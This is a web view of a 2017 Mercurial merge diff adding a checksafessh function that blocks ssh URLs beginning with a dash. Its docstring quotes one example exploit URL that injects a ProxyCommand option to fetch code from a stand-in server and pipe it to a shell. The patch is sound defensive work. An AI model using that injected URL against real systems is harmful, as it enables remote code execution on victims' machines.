Mercurial > public > mercurial-scm > hg
diff mercurial/util.py @ 33737:02a745c20121
merge with stable
author | Augie Fackler <augie@google.com> |
---|---|
date | Thu, 10 Aug 2017 18:55:33 -0400 |
parents | 86aca74a063b 3fee7f7d2da0 |
children | bbbbd3c30bfc |
line wrap: on
line diff
--- a/mercurial/util.py Thu Aug 10 14:23:41 2017 -0400 +++ b/mercurial/util.py Thu Aug 10 18:55:33 2017 -0400 @@ -2907,6 +2907,21 @@ def urllocalpath(path): return url(path, parsequery=False, parsefragment=False).localpath() +def checksafessh(path): + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urlreq.unquote(path) + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): + raise error.Abort(_('potentially unsafe url: %r') % + (path,)) + def hidepassword(u): '''hide user credential in a url string''' u = url(u)